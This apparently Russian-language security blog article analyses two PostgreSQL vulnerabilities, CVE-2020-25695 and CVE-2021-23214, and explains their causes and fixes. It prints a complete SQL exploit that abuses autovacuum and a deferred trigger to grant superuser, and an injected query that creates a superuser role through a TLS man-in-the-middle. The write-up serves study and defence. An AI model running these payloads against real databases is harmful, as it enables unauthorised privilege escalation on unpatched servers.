Несколько раз в год у PostgreSQL выходит новый релиз с парой уязвимостей. Как правило уязвимости позволяют превратить непривилегированного пользователя в superuser. В Postgres все просто — устанавливаем патчи в момент выхода обновления и продолжаем спать спокойно. Но многие форки остаются уязвимыми. Я проанализировал пару интересных уязвимостей PostgreSQL в поисках интересных лазеек и нашел там очень много интересного.
Еще по теме: Ускорение и автоматизация слепой SQL-инъекции
Анализ интересных уязвимостей PostgreSQL
Вообще, у Postgres есть куча форков. Потенциально все они уязвимы ко всему, что будет перечислено в этой статье. В результате на таких базах майнят или происходят истории как с фотографиями Scarlett.
Может показаться, что эпичные уязвимости — верный признак «решета», которым лучше не пользоваться. Это не так. Открытая публикация всех исторических уязвимостей — то, что не дает заметать под ковер zero day.
Что ж, давайте перейдем, к сути. Что можно сделать с недопатченным «Постгрес»?
Статья в образовательных целях и предназначается для пенстеров (белых хакеров). Взлом и несанкционированный доступ уголовно наказуем. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Уязвимость PostgreSQL CVE-2020-25695
Уязвимости CVE-2020-25695 подвержены 13.0, 12.4, 11.10, 10.15 и другие мажорные версии, нынче уже достигшие EOL. Overall score 8,8. В уязвимости также эксплуатируется комбинация из множества нетривиальных фич. Тем не менее эксплуатация подходит для script kiddies — просто зафигачить SQL-запрос, и готово, никакой возни с подставными репликами, написанием кода или чего‑то такого.
Ахиллесова пята PostgreSQL — процесс вакуумизации aka VACUUM. Он удаляет версии данных, которые нет необходимости видеть новым транзакциям. Иногда его запускает сисадмин или cron от имени сисадмина. Иногда он запускается сам — когда удалилось или обновилось достаточно много строк. В этом случае он называется autovacuum. И запускается он от имени суперпользователя.
Вот бы добавить какого‑нибудь кода к вакууму, чтобы он выполнился от имени суперпользователя, да? Об этом разработчики Postgres, конечно, подумали. На время вакуумизации конкретной таблицы контекст выполнения переключается на владельца таблицы. Если мы запилили свою таблицу — ну, наши функции при ее вакуумизации выполнятся с нашими правами. Работает это так.
1 2 3 4 5 6 7 |
/* Switch to the table owner's userid... */ SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); // Вакуумизируем на все деньги /* Restore userid and security context */ SetUserIdAndSecContext(save_userid, save_sec_context); CommitTransactionCommand(); |
Получается, что нам нужно во время вакуумизации отложить взлом до момента окончания транзакции. Потому что до коммита мы выполняемся с недостаточно крутым контекстом. Решение этой задачи довольно простое: можно создать триггер DEFFERED, который выполнится при коммите. Вот кусочек кода из advisory отправленного при репорте бага.
1 2 3 4 5 6 7 8 9 |
/* create a CONSTRAINT TRIGGER, which is deferred deferred causes it to trigger on commit, by which time the user has been switched back to the invoking user, rather than the owner */ CREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig(); |
Как нам сделать, чтобы этот триггер вызвался во время вакуума? Для этого нужно, чтобы вакуум вставлял данные, а он их удаляет… Просто надо сделать так, чтобы вакуум одной таблицы вставлял данные в другую!
Какие функции вызываются при вакууме? Функции индексов по выражению. Рассмотрим код эксплоита полностью.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
CREATE TABLE t0 (s varchar); CREATE TABLE t1 (s varchar); CREATE TABLE exp (a int, b int); CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql IMMUTABLE AS 'SELECT $1'; -- При создании индекса по выражению функция должна быть IMMUTABLE, то есть БЕСПОЛЕЗНА CREATE INDEX indy ON exp (sfunc(a)); CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; -- Заменим функцию мутабельной CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'ALTER USER foo SUPERUSER; SELECT $1'; -- Функция, вызываемая из DEFFERED триггера CREATE OR REPLACE FUNCTION strig() RETURNS trigger AS $e$ BEGIN PERFORM fooz.public.snfunc(1000); RETURN NEW; END $e$ LANGUAGE plpgsql; -- Функция триггера CREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig(); ANALYZE exp; INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9); DELETE FROM exp; INSERT INTO exp VALUES (1,1); ALTER TABLE exp SET (autovacuum_vacuum_threshold = 1); ALTER TABLE exp SET (autovacuum_analyze_threshold = 1); |
Здесь вакуум exp вызывает sfunc(), которая вставляет данные в t0. Затем триггер на t0 вызывает string() в конце транзакции с контекстом суперпользователя, который, в свою очередь, вызывает snfunc(). А он грантит суперпользователя атакующему. Для эксплуатации этой уязвимости нужна возможность создавать таблицы и индексы.
CVE-2020-25695 найдена Этьеном Столмансом aka staaldraad и подробно описана в его блоге. Денис Смирнов также адаптировал эту уязвимость для GreenplumDB.
Уязвимость PostgreSQL CVE-2021-23214
Уязвимости CVE-2021-23214 подвержены 14.0, 13.4, 12.8, 11.13, 10.18. Overall score 8,1. А еще уязвимы оказались все пулеры соединений — PgBouncer, PgPool II и Odyssey.
TLDR: если используется клиентская аутентификация по TLS-сертификату и есть MITM, можно в начало соединения добавить выполнение своего запроса.
Постгресный протокол обмена данными построен на сообщениях. Каждое сообщение начинается с 4 байт, содержащих информацию о размере сообщения. Потом идет один байт, определяющий тип пакета. Оставшееся место может быть занято пакетоспецифичными данными.
Нормальный сервер первым делом отправит клиенту startup-сообщение с предложением перейти на TLS-шифрование, получит согласие клиента, передаст сокет библиотеке OpenSSL, а от нее уже получит безопасный канал для общения, в котором проведет аутентификацию.
В PostgreSQL аутентифицироваться можно по‑разному. Например, по паролю открытым текстом. Но это стремно со всех сторон. Можно воспользоваться MD5-аутентификацией: сервер пришлет соль, клиент перехеширует пароль, себя и соль, а потом отправит серверу. Но при этом взломав базу и прочитав представление pg_authid, можно получить достаточно данных, чтобы зайти в базу любым другим пользователем с MD5-аутентификацией.
Можно воспользоваться схемой SCRAM-SHA-256, при этом взлом базы не позволит использовать полученные секреты. Даже зайти в ту же самую базу по стыренным данным не получится.
А можно вообще «делегировать ответственность Фунту» — использовать аутентификацию по TLS-сертификатам. При этом, когда установлено TLS-соединение, Common Name сертификата будет сравниваться с пользовательским. Если они совпали — значит, у клиента есть сертификат, выписанный доверенным центром. У такого подхода много плюсов: например, ротация секретов больше не проблема DBA. Пусть клиент сам разбирается, где добыть валидный серт, если старый протух.
Если вся база целиком украдена, в ней не добыть вообще никаких аутентификационных данных. Проверка сертификата написана настоящими сварщиками от криптографии, осталось только взять их код. Но есть нюанс.
У PostgreSQL довольно мелкие пакеты. Например, пакет ReadyForQuery — 6 байт. Для чтения из сокета необходим системный вызов — это долго. Поэтому Postgres и все пулеры читают данные про запас. Кто‑то называет это буферизацией, кто‑то — readahead. Из буфера readahead байты идут уже на парсинг пакетов. Буфер readahead наполняется напрямую из сетевого сокета либо из потока TLS в шифрованном соединении. А вот в момент смены нешифрованного соединения происходит… а ничего не происходит.
В OpenSSL передается не буфер readahead, а само сетевое соединение. Те байты, что пришли нешифрованными, остаются лежать как бы считанными. Как будто полученными из шифрованного соединения. Этим может воспользоваться man in the middle, добавив вслед за startup-сообщением сообщение SimpleQuery с простым запросом:
1 |
"CREATE ROLE x4m WITH LOGIN SUPERUSER PASSWORD 'imahacker';" |
Когда аутентификация в OpenSSL будет успешно завершена, сервер продолжит считывать сообщения из буфера readahead и выполнит SimpleQuery, как если бы он пришел от пользователя.
У этой уязвимости есть и симметричная клиентская CVE-2021-23222: MITM может подсунуть свой ответ на первые запросы клиента вместо того, что говорит сервер на самом деле. Но эксплуатация этой уязвимости требует нефигового знания кода клиентского приложения. Например, как‑то так.
В Postgres фикс клиентской и серверной уязвимостей предполагает не только сброс буфера после startup-пакета, но и запись в лог о попытке нахимичить с TLS. В актуальных версиях попытка эксплуатации не пройдет незамеченной и, вероятно, разбудит мониторинги безопасности. Мой фикс для этих уязвимостей в «Одиссее» выглядит так. В «Одиссее» они, кстати, известны под другими номерами: CVE-2021-43766 и CVE-2021-43767.
CVE-2021-23214 и подобные уязвимости в PG найдены Джейкобом Чемпионом, после выхода фиксов он написал довольно интересный список пожеланий к проекту для повышения безопасности в будущем.
Заключение…
…тюремное может грозить при использовании этой информации необдуманно. Помните, что все эти развлечения представлены тут, просто чтобы подумать о вечном, битах и байтах, все такое. Ставьте апдейты своевременно. Используйте эксплоиты, только чтобы учиться, исследовать и этично репортить о проблемах безопасности. И не забывайте вовремя делать резервные копии!
Еще по теме: Лучшие сайты для поиска уязвимостей